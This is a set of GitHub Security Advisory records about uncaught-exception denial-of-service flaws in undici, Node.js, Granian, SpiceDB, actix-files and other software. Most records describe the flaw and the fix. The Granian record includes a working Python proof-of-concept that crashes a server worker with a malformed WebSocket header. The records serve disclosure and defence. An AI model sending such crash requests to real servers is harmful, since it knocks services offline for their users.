CWE-248

{
  "affected": [],
  "aliases": [
    "CVE-2025-23166"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-19T02:15:17Z",
    "severity": "HIGH"
  },
  "details": "The C++ method SignTraits::DeriveBits() may incorrectly call ThrowException() based on user-supplied inputs when executing in a background thread, crashing the Node.js process. Such cryptographic operations are commonly applied to untrusted inputs. Thus, this mechanism potentially allows an adversary to remotely crash a Node.js runtime.",
  "id": "GHSA-rrjv-57mm-j6cm",
  "modified": "2025-05-19T03:30:29Z",
  "published": "2025-05-19T03:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23166"
    },
    {
      "type": "WEB",
      "url": "https://nodejs.org/en/blog/vulnerability/may-2025-security-releases"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "undici"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.29.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "undici"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.10.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-85014"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-754"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-29T18:10:32Z",
    "nvd_published_at": "2026-09-04T17:17:02Z",
    "severity": "MODERATE"
  },
  "details": "## Impact\n\nundici\u0027s `WebSocketStream` crashes the client process when a WebSocket connection is closed abruptly without a close handshake. On such an unclean close, the internal socket-close handler calls `abort()` on the writable stream even when the application holds a writer lock. Per the WHATWG Streams standard, aborting a locked stream returns a promise that rejects with a `TypeError`, and the handler discards that promise. The unobserved rejection surfaces as an `unhandledRejection` and, under Node.js\u0027s default behavior, terminates the process.\n\nA malicious or compromised WebSocket server can crash a client with a single connection teardown (a TCP reset, a proxy teardown, or a protocol-violating frame). Affected applications are those using the `WebSocketStream` API and writing through a writer, which is the standard way to write.\n\nAll releases from undici 7.0.0 are affected. WebSocketStream was introduced in 7.0.0.\n\n## Patches\n\nUpgrade to undici v7.29.1 or v8.10.2.\n\n## Workarounds\n\nNo workaround is available.",
  "id": "GHSA-rx4f-c7p8-82vq",
  "modified": "2026-09-29T18:10:32Z",
  "published": "2026-09-29T18:10:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodejs/undici/security/advisories/GHSA-rx4f-c7p8-82vq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85014"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodejs/undici/commit/1858656ebb1e919311c1f31613dfd581b7214349"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodejs/undici/commit/662d0ea671fe64139e79533c913fce412765e1d7"
    },
    {
      "type": "WEB",
      "url": "https://cna.openjsf.org/security-advisories.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodejs/undici"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodejs/undici/releases/tag/v7.29.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodejs/undici/releases/tag/v8.10.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "undici vulnerable to Denial of Service via WebSocketStream unclean close"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-72813"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-14T12:16:44Z",
    "severity": "MODERATE"
  },
  "details": "actix-files before 0.6.10 contains a denial of service vulnerability triggered by an empty Range header in GET requests for static files. When panic is set to abort, remote attackers can crash the process on-demand by sending a GET request with an empty Range header.",
  "id": "GHSA-v47c-94r2-rjm7",
  "modified": "2026-08-14T12:31:25Z",
  "published": "2026-08-14T12:31:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/actix/actix-web/security/advisories/GHSA-gcqf-3g44-vc9p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72813"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/actix-files-before-denial-of-service-via-empty-range-header"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-48430"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-23T04:16:40Z",
    "severity": "MODERATE"
  },
  "details": "Uncaught Exception (CWE-248) in the Command Centre Server allows an Authorized and Privileged Operator to crash the Command Centre Server at will.\n\nThis issue affects Command Centre Server: \n\n9.30 prior to vEL9.30.2482 (MR2), 9.20 prior to vEL9.20.2819 (MR4), 9.10 prior to vEL9.10.3672 (MR7), 9.00 prior to vEL9.00.3831 (MR8), all versions of 8.90 and prior.",
  "id": "GHSA-v554-gp5g-23rq",
  "modified": "2025-10-23T06:31:00Z",
  "published": "2025-10-23T06:31:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48430"
    },
    {
      "type": "WEB",
      "url": "https://security.gallagher.com/en-NZ/Security-Advisories/CVE-2025-48430"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-3891"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-29T12:15:32Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in the mod_auth_openidc module for Apache httpd. This flaw allows a remote, unauthenticated attacker to trigger a denial of service by sending an empty POST request when the OIDCPreservePost directive is enabled. The server crashes consistently, affecting availability.",
  "id": "GHSA-v96g-5j57-774c",
  "modified": "2025-07-28T15:31:35Z",
  "published": "2025-04-29T12:30:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OpenIDC/mod_auth_openidc/security/advisories/GHSA-x7cf-8wgv-5j86"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3891"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenIDC/mod_auth_openidc/commit/6a0b5f66c87184dfe0e4400f6bdd46a82dc0ec2b"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:10002"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:10003"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:10004"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:10006"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:10007"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:10008"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:10010"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:4597"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:9396"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-3891"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2361633"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00007.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "undici"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "undici"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-2229"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T20:41:41Z",
    "nvd_published_at": "2026-03-12T21:16:25Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nThe undici WebSocket client is vulnerable to a denial-of-service attack due to improper validation of the `server_max_window_bits` parameter in the permessage-deflate extension. When a WebSocket client connects to a server, it automatically advertises support for permessage-deflate compression. A malicious server can respond with an out-of-range `server_max_window_bits` value (outside zlib\u0027s valid range of 8-15). When the server subsequently sends a compressed frame, the client attempts to create a zlib InflateRaw instance with the invalid windowBits value, causing a synchronous RangeError exception that is not caught, resulting in immediate process termination.\n\nThe vulnerability exists because:\n\n1. The `isValidClientWindowBits()` function only validates that the value contains ASCII digits, not that it falls within the valid range 8-15\n2. The `createInflateRaw()` call is not wrapped in a try-catch block\n3. The resulting exception propagates up through the call stack and crashes the Node.js process\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_",
  "id": "GHSA-v9p9-hfj2-hcw8",
  "modified": "2026-03-13T20:41:41Z",
  "published": "2026-03-13T20:41:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodejs/undici/security/advisories/GHSA-v9p9-hfj2-hcw8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2229"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/3487486"
    },
    {
      "type": "WEB",
      "url": "https://cna.openjsf.org/security-advisories.html"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc7692"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodejs/undici"
    },
    {
      "type": "WEB",
      "url": "https://nodejs.org/api/zlib.html#class-zlibinflateraw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Undici has Unhandled Exception in WebSocket Client Due to Invalid server_max_window_bits Validation"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-96277"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-02T13:18:05Z",
    "severity": "HIGH"
  },
  "details": "Uncaught exception, Improper Handling of Exceptional Conditions vulnerability in Apache Thrift Ruby bindings.\n\n\n\nThis issue affects Apache Thrift: before 0.25.0.\n\n\n\nUsers are recommended to upgrade to version 0.25.0, which fixes the issue.",
  "id": "GHSA-vgfv-p7x2-fp2x",
  "modified": "2026-10-02T15:31:25Z",
  "published": "2026-10-02T15:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96277"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/33otcgbqd27wf6qq810q56znzbomnhg1"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/k1t5r9sz7k5tn57cnf5khw2ywlxv6098"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/authzed/spicedb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.29.3"
            },
            {
              "fixed": "1.49.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-06T22:30:52Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Description\nA malformed or tampered-with LookupResources [Cursor token](https://buf.build/authzed/api/docs/main:authzed.api.v1#authzed.api.v1.Cursor) can cause a panic in the SpiceDB process if it fails to parse. If an attacker were able to make requests to a SpiceDB instance, they could affect its availability.\n\n## Reproduction\nIf one was to take a cursor from a LookupResources call, decode it according to the logic that SpiceDB uses, and modify the Sections field to include an invalid relationship string, the process will panic.\n\n## Impact\nAn attacker would need both the ability to create a gRPC connection to your SpiceDB instance and a valid token, or else the ability to pass a cursor token from outside your application through to your SpiceDB instance.\n\nIf an attacker had this ability, they could bring down SpiceDB instances, reducing the availability of SpiceDB and any service that depends on it.\n\n## Mechanism\nThe SpiceDB process does not validate the contents of this `Sections` component of the `Cursor` message. In affected versions, it uses a parsing function that calls `panic` if the value cannot be parsed as a relationship. \n\n## Fix\nThis issue was fixed in https://github.com/authzed/spicedb/pull/2878.\n\n## Remediations\n* Prevent client control of the `optional_cursor` field in `LookupResources` calls\n* Upgrade to an unaffected version",
  "id": "GHSA-vhvq-fv9f-wh4q",
  "modified": "2026-02-06T22:30:52Z",
  "published": "2026-02-06T22:30:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authzed/spicedb/security/advisories/GHSA-vhvq-fv9f-wh4q"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authzed/spicedb/pull/2878"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authzed/spicedb/commit/fa1d7f48107e0c6c35e6a7862aa983366e70208f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authzed/spicedb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "LookupResources Cursor section tampering can crash SpiceDB process via tuple.MustParse panic"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-58859"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-05T19:17:25Z",
    "severity": "HIGH"
  },
  "details": "In multiple places, there is a possible  denial of service due to an uncaught exception. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-vqr4-494j-qf85",
  "modified": "2026-10-05T21:31:35Z",
  "published": "2026-10-05T21:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58859"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/docs/security/bulletin/2026/2026-10-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "granian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.2.0"
            },
            {
              "fixed": "2.7.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42544"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-248",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T21:20:48Z",
    "nvd_published_at": "2026-05-12T22:16:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nGranian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose `Sec-WebSocket-Protocol` header contains non-ASCII bytes.\n\nThe crash happens in Granian\u0027s WebSocket scope construction path, before the ASGI application is invoked.\n\nThis is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.\n\n### Details\n\nhttps://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125\n\n`HeaderValue::to_str()` returns `Err` for bytes outside visible ASCII. The subsequent `.unwrap()` panics.\n\nIn release builds Granian sets `panic = \"abort\"`, so this panic terminates the worker instead of being handled as a normal request error.\n\n\n### PoC\n\n#### Step 1.\nstarts a Granian ASGI server\n\n```python\n# app.py\nasync def app(scope, receive, send):\n    if scope[\"type\"] == \"websocket\":\n        await receive()\n        await send({\"type\": \"websocket.accept\"})\n        return\n\n    await send({\"type\": \"http.response.start\", \"status\": 200, \"headers\": []})\n    await send({\"type\": \"http.response.body\", \"body\": b\"ok\"})\n```\n\n```bash\ngranian --interface asgi app:app --host 127.0.0.1 --port 8000\n```\n\n#### Step 2.\nsending a raw upgrade request with `Sec-WebSocket-Protocol: \\x80\\xff` reached this code path and caused the worker to abort.\n\n```python\n# ws-subproto-crash.py\nimport base64, os, socket, sys\n\nhost, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]\nkey = base64.b64encode(os.urandom(16)).decode()\n\nreq = (\n    f\"GET {path} HTTP/1.1\\r\\nHost: {host}:{port}\\r\\n\"\n    \"Upgrade: websocket\\r\\nConnection: Upgrade\\r\\n\"\n    f\"Sec-WebSocket-Key: {key}\\r\\nSec-WebSocket-Version: 13\\r\\n\"\n).encode() + b\"Sec-WebSocket-Protocol: \\x80\\xff\\r\\n\\r\\n\"\n\nwith socket.create_connection((host, port), timeout=5) as s:\n    s.sendall(req)\n    print(s.recv(4096))\n```\n```bash\npython ws-subproto-crash.py 127.0.0.1 8000 /\n```\n\n\nObserved server output:\n\n```\nthread \u0027\u003cunnamed\u003e\u0027 panicked at src/asgi/utils.rs:125:44:\ncalled `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }\n[ERROR] Unexpected exit from worker-1\n[INFO] Shutting down granian\n```\n\n\n### Impact\n\n- Unauthenticated remote denial of service\n- One crafted request kills one worker\n- The application is never reached, so application-level authentication or routing does not mitigate the issue",
  "id": "GHSA-vrg7-482j-p6f6",
  "modified": "2026-05-13T16:41:24Z",
  "published": "2026-05-06T21:20:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/emmett-framework/granian/security/advisories/GHSA-vrg7-482j-p6f6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42544"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/emmett-framework/granian"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Granian vulnerable to unauthenticated DoS via WebSocket subprotocol header panic"
}